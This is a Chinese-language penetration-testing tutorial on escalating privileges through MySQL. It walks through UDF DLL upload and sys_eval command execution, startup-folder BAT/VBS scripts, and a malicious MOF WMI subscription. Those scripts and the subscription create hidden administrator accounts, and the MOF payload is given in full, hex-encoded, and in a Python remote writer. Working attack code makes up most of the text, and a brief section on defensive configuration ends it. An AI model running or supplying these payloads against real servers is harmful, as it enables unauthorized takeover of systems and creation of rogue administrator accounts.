MySQL提权
mysql的权限提升通常有两种:
UDF提权(常用)
写文件提权
启动项提权
mof提权
一、UDF提权
UDF
全称为user defined function,用户自定义函数
用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数
UDF提权的作用
渗透过程中,拿下一台低权限的主机shell(尤其是windows)时,有些操作无法进行,而此时本地恰好存在mysql数据库,且mysql是root权限 (windows中mysql一般都是管理员权限),就可以通过新建管理员用户等操作实现提权即udf提权,也可以称为通过mysql获得管理员权限
动态链接库
动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用
注:在linux中对应为so文件
利用条件以及数据库版本问题
获得一个mysql数据库账号(最好是root),拥有insert、delete权限,拥有将xxx.dll写入相对应目录的权限
查看版本:
select version();
查看secure-file-priv是否有目录限制,执行:
show global variables like “secure%”;
当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,无法进行提权
当secure_file_priv 的值为 c:/ ,表示限制 mysqld 的导入|导出只能发生在c盘目录下,无法进行提权
当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,可以提权
查看plugin目录是否存在:
select @@plugin_dir;
#或
show variables like ‘plugin%’;
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
版本 路径
MySQL < 5.0 导出路径随意
5.0 <= MySQL < 5.1 需要导出至目标服务器的系统目录(如:C:\windows\system32\)
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin目录下(高版本mysql默认不存在lib\plugin目录,需要自己创建)
版本大于5.1的时候,lib\plugin文件夹的创建方法:
select @@basedir;
#查找到mysql的目录
select ‘It is dll’ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION’;
#利用NTFS ADS创建lib目录
select ‘It is dll’ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION’;
#利用NTFS ADS创建plugin目录
udf文件的获取与上传
很多现成的udf文件,不需要自己构造:
从sqlmap中获取
sqlmap中的udf文件为了防止误杀进行了异或处理,需要利用sqlmap自带的解码脚本
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
#win
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so
#linux
从msf中获取
/usr/share/metasploit-framework/data/exploits/mysql,直接cp出来就可以,不需要解码
使用MSF中的exploit/multi/mysql/mysql_udf_payload模块也可以进行UDF提权,MSF会将dll写入lib\plugin\目录下(前提是目录存在,如果目录不存在,则不能成功),DLL文件可以取任意的名字,该dll文件包含sys_exec()和sys_eval()两个函数.但是默认只创建sys_exec()函数,该函数执行并不会有回显,我们可以手工创建sys_eval()函数,来执行有回显的命令
国光师傅的博客:https://www.sqlsec.com/udf/
得到udf文件后,可利用webshell上传或者hex编码上传(这里只是举例,实际上,上传的方式有很多,步骤多变,应当视情况而定):
创建一张临时表用来存放DLL/SO文件的十六进制内容
CREATE TABLE temp_udf(udf blob);
插入
转化成十六进制方法很多这里我们使用mysql
select hex(load_file(‘C:/udf,dll’)) into dumpfile ‘c:/udf.txt’;
注:outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作
插入
其中 b i n a r y C o d e 为已经转换好的十六进制内容 , binaryCode为已经转换好的十六进制内容, binaryCode为已经转换好的十六进制内容,binarycode前加0X
INSERT into temp_udf values (CONVERT($binaryCode,CHRA));
导出
将udf文件导出至对应位置:
SELECT * FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugins/udf.so";
注:此时如果出现了错误Can't create/write to file是因为没有lib/plugin目录into dumpfile也不能创建文件夹所以报错
使用udf.dll
udf常用函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
假设我的udf文件名为‘udf.dll’,且已经上传到了mysql检索目录中,接下来只需要引入即可
实例
CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’;
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘xxx.dll’。
可以查看是否添加成功:
select * from mysql.func;
至此便成功引入了sys_eval函数,用于在mysql中执行系统命令:
select sys_eval(‘whoami’);
如果要卸载该函数:
drop function sys_eval;
实操
了解基本原理和流程后,接下来用实际操作熟悉一下具体的利用手法
vulnhub-Raven:2:具体操作见我另一篇文章:vulnhub-Raven:2 渗透记录
二、写文件提权
写文件提权针对于windows系统,基本上就是使用MySQL的outfile或dumpfile函数,向windows特定目录中写入文件来以被动的方式提权,所以这样提权的前提是secure_file_priv变量设置为空
1.启动项提权
原理
windows开机时候都会有一些开机启动的程序,用户启动项会以当前登录用户的权限运行,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的
MySQL的启动项提权,原理就是通过mysql把一段bat或vbs脚本导入到系统的启动项文件夹中,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行脚本里面的命令(创建管理员账户),实现权限提升
上传脚本
getshell后,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本:
bat执行的基础命令:
@echo off
net user test1 Q!w2e3r4 /add
net localgroup administrators test1 /add
vbs执行的基础命令:
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user ttt Q!w2e3r4 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators ttt /add",0)
或
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test1") '建立用户
od.SetPassword "Q!w2e3r4" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test1",user) '得到用户
oe.add os&"/test1"
上面脚本作用是:
创建一个用户名为 test1、密码为 Q!w2e3r4 的用户帐户
将该用户帐户添加到本地管理员组,赋予该用户管理员权限
值得一提的是:bat脚本在启动运行时会有明显的DOS窗口弹出来,而VBS脚本则可以完全隐藏窗口且不会有错误提示,也可以写一句完成脚本后自动删除此脚本的语句
写入启动项
上传后直接mysql语句写入即可:
连接到对方MYSQL 服务器
进入test数据库,这个数据库一般情况下没有表
直接写:
select load_file(“C:/www/vbs.txt”) into dumpfile “C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/test.bat”;
接下来只要服务器重启,即可提权成功(通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等)
2.MOF提权
MOF
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在windows 2003及更低版本windows中,nullevt.mof文件存储在c:/windows/system32/wbem/mof/目录下,windows系统每隔五秒就会以system权限执行一次该文件,去监控进程创建和死亡,执行成功会移动到该目录下的good文件夹,执行失败移动到bad文件夹
原理
对mof文件进行利用,修改此文件,将其中一部份vbs代码替换为后门代码或添加管理员用户的命令后,使用dumpfile函数导入c:/windows/system32/wbem/mof/文件夹,系统再次执行该文件即可完成权限提升
利用条件
mof提权需要在system32文件夹下写文件,条件较为严苛:
windows 2003及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure_file_priv参数不为null
利用
添加管理员用户的vbs脚本如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user Yuy0ung admin123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
在添加用户之后,还需要将用户加入本地管理员组,将脚本中的net.exe user Yuy0ung admin123 /add\换成:
net localgroup Administrators Yuy0ung /add
脚本文件的上传思路与udf提权类似,大概三种:
直接上传然后dumpfile
select load_file(“C:/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
直接将脚本的16进制编码dumpfile
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e65786520757365722061646d696e2061646d696e202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
数据库允许远程链接的情况下可以使用py写入
#Python3
import MySQLdb
conn=MySQLdb.connect(host="192.168.111.6",user="root",passwd="root")
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
conn.close()
注意事项
服务器会每五秒会循环执行之前的mof文件中的内容,在服务器被mof提权后,需要解决系统继续运行恶意代码的问题:
net stop winmgmt
#停止winmgmt服务
rmdir /q /s c:\windows\system32\wbem\repository
#删除存储库备份
del /f /s c:\windows\system32\wbem\mof\good\nullevt.mof
#删除mof文件
net start winmgmt
#重启winmgmt服务
三、针对MySQL提权的防御手段
从上面提到的提权过程可以知道,这些权限提升基本都是mysql的配置不当导致的,因此,可以有如下防御措施:
降低数据库服务启动用户的权限
如果非必要,可以删除插件目录或限制插件目录的权限
正确配置secure_file_priv变量